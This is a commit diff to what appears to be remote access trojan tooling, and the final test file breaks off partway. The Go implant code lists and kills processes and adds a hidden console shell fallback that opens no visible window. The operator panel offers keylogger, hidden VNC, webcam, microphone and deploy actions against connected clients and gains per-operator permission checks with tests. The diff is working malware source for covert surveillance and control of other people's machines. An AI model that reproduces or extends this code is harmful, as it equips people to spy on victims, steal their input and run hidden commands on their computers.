RBAC changes + fix rev console and process view in shellcode

This commit is contained in:
KingKDot
2026-05-18 21:34:35 -05:00
parent 9e4a6468d3
commit af05a807c6
9 changed files with 1205 additions and 152 deletions
@@ -80,136 +80,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
continue continue
} }
handle, _, _ := procOpenProcess.Call( info := queryProcess(pid, selfPID, numCPU)
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, if info == nil {
0,
uintptr(pid),
)
if handle == 0 {
continue continue
} }
defer windows.CloseHandle(windows.Handle(handle)) processes = append(processes, *info)
var filename [windows.MAX_PATH]uint16
ret, _, _ := procGetProcessImageFileNameW.Call(
handle,
uintptr(unsafe.Pointer(&filename[0])),
uintptr(len(filename)),
)
name := "Unknown"
if ret != 0 {
name = syscall.UTF16ToString(filename[:])
for i := len(name) - 1; i >= 0; i-- {
if name[i] == '\\' || name[i] == '/' {
name = name[i+1:]
break
}
}
}
var memCounters PROCESS_MEMORY_COUNTERS
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
memory := uint64(0)
ret, _, _ = procGetProcessMemoryInfo.Call(
handle,
uintptr(unsafe.Pointer(&memCounters)),
uintptr(memCounters.CB),
)
if ret != 0 {
memory = uint64(memCounters.WorkingSetSize)
}
cpu := 0.0
var creation, exit, kernel, user windows.Filetime
ret, _, _ = procGetProcessTimes.Call(
handle,
uintptr(unsafe.Pointer(&creation)),
uintptr(unsafe.Pointer(&exit)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret != 0 {
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
now := time.Now()
cpuSamplesMu.Lock()
if prev, ok := cpuSamples[pid]; ok {
wallDelta := now.Sub(prev.sampledAt).Seconds()
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
if cpu < 0 {
cpu = 0
} else if cpu > 100 {
cpu = 100
}
}
}
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
cpuSamplesMu.Unlock()
}
var pbi windows.PROCESS_BASIC_INFORMATION
ppid := int32(0)
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
if err == nil {
ppid = int32(pbi.InheritedFromUniqueProcessId)
}
username := "System"
var token windows.Token
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
defer token.Close()
tokenUser, err := token.GetTokenUser()
if err == nil {
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err == nil {
if domain != "" {
username = domain + "\\" + account
} else {
username = account
}
}
}
}
procType := "other"
usernameLower := strings.ToLower(username)
nameLower := strings.ToLower(name)
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
procType = "system"
} else if strings.Contains(usernameLower, "system") ||
strings.Contains(usernameLower, "local service") ||
strings.Contains(usernameLower, "network service") ||
usernameLower == "system" {
procType = "service"
} else {
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
if err == nil {
tokenUser, err := token.GetTokenUser()
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
procType = "own"
}
}
}
processes = append(processes, wire.ProcessInfo{
PID: pid,
PPID: ppid,
Name: name,
CPU: cpu,
Memory: memory,
Username: username,
Type: procType,
Self: pid == selfPID,
})
} }
cpuSamplesMu.Lock() cpuSamplesMu.Lock()
@@ -227,6 +102,136 @@ func listProcesses() ([]wire.ProcessInfo, error) {
return processes, nil return processes, nil
} }
func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
handle, _, _ := procOpenProcess.Call(
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
0,
uintptr(pid),
)
if handle == 0 {
return nil
}
defer windows.CloseHandle(windows.Handle(handle))
var filename [windows.MAX_PATH]uint16
ret, _, _ := procGetProcessImageFileNameW.Call(
handle,
uintptr(unsafe.Pointer(&filename[0])),
uintptr(len(filename)),
)
name := "Unknown"
if ret != 0 {
name = syscall.UTF16ToString(filename[:])
for i := len(name) - 1; i >= 0; i-- {
if name[i] == '\\' || name[i] == '/' {
name = name[i+1:]
break
}
}
}
var memCounters PROCESS_MEMORY_COUNTERS
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
memory := uint64(0)
ret, _, _ = procGetProcessMemoryInfo.Call(
handle,
uintptr(unsafe.Pointer(&memCounters)),
uintptr(memCounters.CB),
)
if ret != 0 {
memory = uint64(memCounters.WorkingSetSize)
}
cpu := 0.0
var creation, exit, kernel, user windows.Filetime
ret, _, _ = procGetProcessTimes.Call(
handle,
uintptr(unsafe.Pointer(&creation)),
uintptr(unsafe.Pointer(&exit)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret != 0 {
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
now := time.Now()
cpuSamplesMu.Lock()
if prev, ok := cpuSamples[pid]; ok {
wallDelta := now.Sub(prev.sampledAt).Seconds()
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
if cpu < 0 {
cpu = 0
} else if cpu > 100 {
cpu = 100
}
}
}
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
cpuSamplesMu.Unlock()
}
var pbi windows.PROCESS_BASIC_INFORMATION
ppid := int32(0)
if err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err == nil {
ppid = int32(pbi.InheritedFromUniqueProcessId)
}
username := "System"
var token windows.Token
tokenOpen := false
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
tokenOpen = true
defer token.Close()
tokenUser, err := token.GetTokenUser()
if err == nil {
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err == nil {
if domain != "" {
username = domain + "\\" + account
} else {
username = account
}
}
}
}
procType := "other"
usernameLower := strings.ToLower(username)
nameLower := strings.ToLower(name)
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
procType = "system"
} else if strings.Contains(usernameLower, "system") ||
strings.Contains(usernameLower, "local service") ||
strings.Contains(usernameLower, "network service") ||
usernameLower == "system" {
procType = "service"
} else if tokenOpen {
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
if err == nil {
tokenUser, err := token.GetTokenUser()
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
procType = "own"
}
}
}
return &wire.ProcessInfo{
PID: pid,
PPID: ppid,
Name: name,
CPU: cpu,
Memory: memory,
Username: username,
Type: procType,
Self: pid == selfPID,
}
}
func killProcess(pid int32) error { func killProcess(pid int32) error {
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid)) handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
if err != nil { if err != nil {
@@ -4,9 +4,16 @@ package runtime
import ( import (
"context" "context"
"io"
"log"
"os"
"os/exec"
"strings" "strings"
"sync"
"syscall"
"github.com/UserExistsError/conpty" "github.com/UserExistsError/conpty"
"golang.org/x/sys/windows"
) )
type winPty struct { type winPty struct {
@@ -32,18 +39,98 @@ func (w *winPty) Wait() (int, error) {
return res.code, res.err return res.code, res.err
} }
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) { type rawShell struct {
cmdline := strings.Join(shell, " ") cmd *exec.Cmd
stdin io.WriteCloser
reader io.ReadCloser
writer *os.File
once sync.Once
waitCh chan waitResult
}
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows))) func (r *rawShell) Read(p []byte) (int, error) { return r.reader.Read(p) }
func (r *rawShell) Write(p []byte) (int, error) { return r.stdin.Write(p) }
func (r *rawShell) Close() error {
r.once.Do(func() {
r.stdin.Close()
r.cmd.Process.Kill()
r.writer.Close()
r.reader.Close()
})
return nil
}
func (r *rawShell) Resize(cols, rows uint16) error { return nil }
func (r *rawShell) Wait() (int, error) {
res := <-r.waitCh
return res.code, res.err
}
func startRawShell(shell []string) (ptyHandle, error) {
cmd := exec.Command(shell[0], shell[1:]...)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW,
}
stdin, err := cmd.StdinPipe()
if err != nil { if err != nil {
return nil, err return nil, err
} }
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)} pr, pw, err := os.Pipe()
if err != nil {
stdin.Close()
return nil, err
}
cmd.Stdout = pw
cmd.Stderr = pw
if err := cmd.Start(); err != nil {
stdin.Close()
pr.Close()
pw.Close()
return nil, err
}
rs := &rawShell{
cmd: cmd,
stdin: stdin,
reader: pr,
writer: pw,
waitCh: make(chan waitResult, 1),
}
go func() { go func() {
code, werr := cp.Wait(context.Background()) werr := cmd.Wait()
w.waitCh <- waitResult{code: int(code), err: werr} pw.Close()
code := 0
if werr != nil {
if exit, ok := werr.(*exec.ExitError); ok {
code = exit.ExitCode()
} else {
code = 1
}
}
rs.waitCh <- waitResult{code: code, err: werr}
}() }()
return w, nil return rs, nil
}
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
cmdline := strings.Join(shell, " ")
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
if err == nil {
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
go func() {
code, werr := cp.Wait(context.Background())
w.waitCh <- waitResult{code: int(code), err: werr}
}()
return w, nil
}
log.Printf("console: conpty failed (%v), falling back to raw shell", err)
return startRawShell(shell)
} }
@@ -1,19 +1,40 @@
import { NAV_GROUPS } from "./nav/template.js"; import { NAV_GROUPS } from "./nav/template.js";
import { CAPTURE_FLAG } from "./keyboard-capture.js"; import { CAPTURE_FLAG } from "./keyboard-capture.js";
const PER_CLIENT_ACTIONS = [ const ALL_PER_CLIENT_ACTIONS = [
{ key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` }, { key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
{ key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` }, { key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
{ key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` }, { key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
{ key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` }, { key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
{ key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` }, { key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
{ key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` }, { key: "keylogger", feature: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
{ key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` }, { key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
{ key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` }, { key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
{ key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` }, { key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
{ key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` }, { key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
]; ];
let featurePermsCache = null;
async function loadFeaturePerms() {
if (featurePermsCache) return featurePermsCache;
try {
const res = await fetch("/api/auth/me", { credentials: "include" });
if (!res.ok) return null;
const data = await res.json();
featurePermsCache = data?.featurePermissions || null;
return featurePermsCache;
} catch {
return null;
}
}
function PER_CLIENT_ACTIONS() {
const perms = featurePermsCache;
if (!perms) return ALL_PER_CLIENT_ACTIONS;
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
}
const RECENT_KEY = "cmdp_recent_v1"; const RECENT_KEY = "cmdp_recent_v1";
const RECENT_MAX = 8; const RECENT_MAX = 8;
@@ -121,7 +142,7 @@ function buildResults(query, pages, clients) {
} }
} }
for (const a of PER_CLIENT_ACTIONS) { for (const a of PER_CLIENT_ACTIONS()) {
const sc = score(query, a.label); const sc = score(query, a.label);
if (sc > 0) results.push({ kind: "action", action: a, _score: sc }); if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
} }
@@ -309,7 +330,7 @@ function activate(idx, newTab) {
if (r.kind === "client") { if (r.kind === "client") {
state.mode = "actions-for-client"; state.mode = "actions-for-client";
state.pendingClient = r.client; state.pendingClient = r.client;
state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
state.active = 0; state.active = 0;
const input = document.getElementById("cmdp-input"); const input = document.getElementById("cmdp-input");
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); } if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
@@ -334,6 +355,7 @@ async function open() {
state.query = ""; state.query = "";
state.mode = "main"; state.mode = "main";
state.pendingAction = null; state.pendingAction = null;
await loadFeaturePerms();
const root = mountPalette(); const root = mountPalette();
if (!root) return; if (!root) return;
const input = document.getElementById("cmdp-input"); const input = document.getElementById("cmdp-input");
@@ -347,7 +369,7 @@ async function open() {
if (state.mode === "actions-for-client" && state.pendingClient) { if (state.mode === "actions-for-client" && state.pendingClient) {
const q = state.query.toLowerCase(); const q = state.query.toLowerCase();
const c = state.pendingClient; const c = state.pendingClient;
state.results = PER_CLIENT_ACTIONS state.results = PER_CLIENT_ACTIONS()
.map((a) => ({ a, sc: score(q, a.label) })) .map((a) => ({ a, sc: score(q, a.label) }))
.filter((x) => x.sc > 0 || !q) .filter((x) => x.sc > 0 || !q)
.sort((a, b) => b.sc - a.sc) .sort((a, b) => b.sc - a.sc)
+31
View File
@@ -274,6 +274,37 @@ function applyMenuSupportRules(clientId) {
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => { ["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline"); setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
}); });
applyFeaturePermissionRules();
}
const MENU_OPEN_TO_FEATURE = {
console: "console",
remotedesktop: "remote_desktop",
Backstage: "hvnc",
webcam: "webcam",
files: "file_browser",
processes: "processes",
keylogger: "keylogger",
voice: "voice",
};
function applyFeaturePermissionRules() {
const perms = currentUser?.featurePermissions;
if (!perms) return;
for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) {
const btn = menu.querySelector(`[data-open="${openKey}"]`);
if (!btn) continue;
if (perms[feature] === false) {
btn.disabled = true;
btn.setAttribute("aria-disabled", "true");
btn.classList.add("opacity-50", "cursor-not-allowed");
btn.classList.remove("hover:bg-slate-700");
btn.classList.add("hover:bg-slate-800/50");
btn.title = "Feature access disabled by administrator";
}
}
} }
async function loadCurrentUser() { async function loadCurrentUser() {
@@ -0,0 +1,323 @@
import { describe, expect, test } from "bun:test";
import { generateToken } from "../../auth";
import {
ALL_FEATURES,
createUser,
deleteUser,
getUserById,
setUserClientAccessScope,
setUserFeaturePermission,
} from "../../users";
import { handleAuthRoutes } from "./auth-routes";
const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026";
const mockServer = {
requestIP: () => ({ address: "127.0.0.1" }),
};
async function createTokenFor(role: "admin" | "operator" | "viewer") {
const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
const created = await createUser(username, PASSWORD, role, "test");
expect(created.success).toBe(true);
expect(typeof created.userId).toBe("number");
const user = getUserById(created.userId!);
expect(user).not.toBeNull();
const token = await generateToken(user!);
return { userId: created.userId!, token, username, role };
}
describe("/api/auth/me featurePermissions", () => {
test("admin gets every feature allowed in /api/auth/me", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.username).toBe(auth.username);
expect(body.role).toBe("admin");
expect(body.featurePermissions).toBeDefined();
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator gets every feature allowed by default in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("operator");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(true);
}
} finally {
deleteUser(auth.userId);
}
});
test("operator-denied features are reflected in /api/auth/me", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
setUserFeaturePermission(auth.userId, "file_browser", false);
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.featurePermissions.webcam).toBe(false);
expect(body.featurePermissions.file_browser).toBe(false);
expect(body.featurePermissions.console).toBe(true);
expect(body.featurePermissions.hvnc).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("viewer gets every feature denied in /api/auth/me", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.role).toBe("viewer");
for (const f of ALL_FEATURES) {
expect(body.featurePermissions[f]).toBe(false);
}
} finally {
deleteUser(auth.userId);
}
});
test("/api/auth/me requires authentication", async () => {
const url = new URL("https://localhost/api/auth/me");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
});
describe("/api/auth/feature-check", () => {
test("operator with allowed feature and accessible client returns allowed=true", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("operator with revoked feature returns allowed=false with reason 'feature'", async () => {
const auth = await createTokenFor("operator");
try {
setUserClientAccessScope(auth.userId, "all");
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).not.toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("operator without client access returns allowed=false with reason 'client'", async () => {
const auth = await createTokenFor("operator");
try {
// default client_scope=none
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(200);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("client");
expect(body.denied).not.toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("both feature and client denied returns both reasons", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "hvnc", false);
// client_scope stays "none" => no access
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
expect(body.denied).toContain("client");
} finally {
deleteUser(auth.userId);
}
});
test("viewer is denied every feature", async () => {
const auth = await createTokenFor("viewer");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toContain("feature");
} finally {
deleteUser(auth.userId);
}
});
test("admin is allowed every feature, even with no client_scope", async () => {
const auth = await createTokenFor("admin");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(true);
} finally {
deleteUser(auth.userId);
}
});
test("invalid feature name returns 400", async () => {
const auth = await createTokenFor("operator");
try {
const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
expect(res!.status).toBe(400);
} finally {
deleteUser(auth.userId);
}
});
test("unauthenticated request returns 401", async () => {
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, { method: "GET" }),
url,
mockServer,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(401);
});
test("clientId is optional — feature-only check works without clientId", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "webcam", false);
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
headers: { Authorization: `Bearer ${auth.token}` },
}),
url,
mockServer,
);
const body = (await res!.json()) as any;
expect(body.allowed).toBe(false);
expect(body.denied).toEqual(["feature"]);
} finally {
deleteUser(auth.userId);
}
});
});
@@ -23,7 +23,7 @@ import {
recordFailedAttempt, recordFailedAttempt,
recordSuccessfulAttempt, recordSuccessfulAttempt,
} from "../../rateLimit"; } from "../../rateLimit";
import { getUserById, canUserAccessClient, canUserAccessFeature, type FeatureName, ALL_FEATURES } from "../../users"; import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users";
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie"; import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
type RequestIpProvider = { type RequestIpProvider = {
@@ -340,6 +340,7 @@ export async function handleAuthRoutes(
} }
const dbUser = getUserById(user.userId); const dbUser = getUserById(user.userId);
const featurePermissions = getUserFeaturePermissions(user.userId);
return new Response( return new Response(
JSON.stringify({ JSON.stringify({
@@ -349,6 +350,7 @@ export async function handleAuthRoutes(
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false, mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false, canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "", telegramChatId: dbUser?.telegram_chat_id || "",
featurePermissions,
}), }),
{ {
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
@@ -4,7 +4,13 @@ import { join } from "path";
import { tmpdir } from "os"; import { tmpdir } from "os";
import { generateToken } from "../../auth"; import { generateToken } from "../../auth";
import * as clientManager from "../../clientManager"; import * as clientManager from "../../clientManager";
import { createUser, deleteUser, getUserById } from "../../users"; import {
createUser,
deleteUser,
getUserById,
setUserClientAccessScope,
setUserFeaturePermission,
} from "../../users";
import { handleFileDownloadRoutes } from "./file-download-routes"; import { handleFileDownloadRoutes } from "./file-download-routes";
const PASSWORD = "Aa1!RouteUploadTestPass123"; const PASSWORD = "Aa1!RouteUploadTestPass123";
@@ -249,3 +255,315 @@ describe("file upload route flow", () => {
} }
}); });
}); });
async function createOperatorToken(opts: { fileBrowserAllowed: boolean; clientScope?: "none" | "all" } = { fileBrowserAllowed: true, clientScope: "all" }) {
const username = `op_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
const created = await createUser(username, PASSWORD, "operator", "test");
expect(created.success).toBe(true);
expect(typeof created.userId).toBe("number");
const userId = created.userId!;
setUserClientAccessScope(userId, opts.clientScope ?? "all");
setUserFeaturePermission(userId, "file_browser", opts.fileBrowserAllowed);
const user = getUserById(userId);
expect(user).not.toBeNull();
const token = await generateToken(user!);
return { userId, token };
}
describe("file route feature_browser enforcement", () => {
test("upload request returns 403 when file_browser is denied", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: false });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\big.iso",
fileName: "big.iso",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("download request returns 403 when file_browser is denied", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: false });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/download/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\secret\\data.bin",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("feature access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("client_access check still beats feature check when client access is missing", async () => {
// If both are denied, client access fires first — guards against misordered checks.
const auth = await createOperatorToken({ fileBrowserAllowed: false, clientScope: "none" });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const res = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${auth.token}`,
},
body: JSON.stringify({
clientId,
path: "C:\\Games\\big.iso",
fileName: "big.iso",
}),
}),
requestUrl,
mockServer,
deps,
);
expect(res).not.toBeNull();
expect(res!.status).toBe(403);
expect(await res!.text()).toContain("client access denied");
} finally {
clientManager.deleteClient(clientId);
deleteUser(auth.userId);
await removeTempDataDir(dataDir);
}
});
test("upload stage PUT returns 403 when file_browser is revoked after intent creation", async () => {
const auth = await createOperatorToken({ fileBrowserAllowed: true });
const clientId = `client-${Date.now().toString(36)}`;
const dataDir = await createTempDataDir();
const deps = makeRouteDeps(dataDir);
clientManager.addClient(clientId, {
id: clientId,
lastSeen: Date.now(),
role: "client",
ws: { send: () => {} },
});
try {
const requestUrl = new URL("https://localhost/api/file/upload/request");
const requestRes = await handleFileDownloadRoutes(
new Request(requestUrl, {
method: "POST",
headers: {
"Content-Type": "application/json",
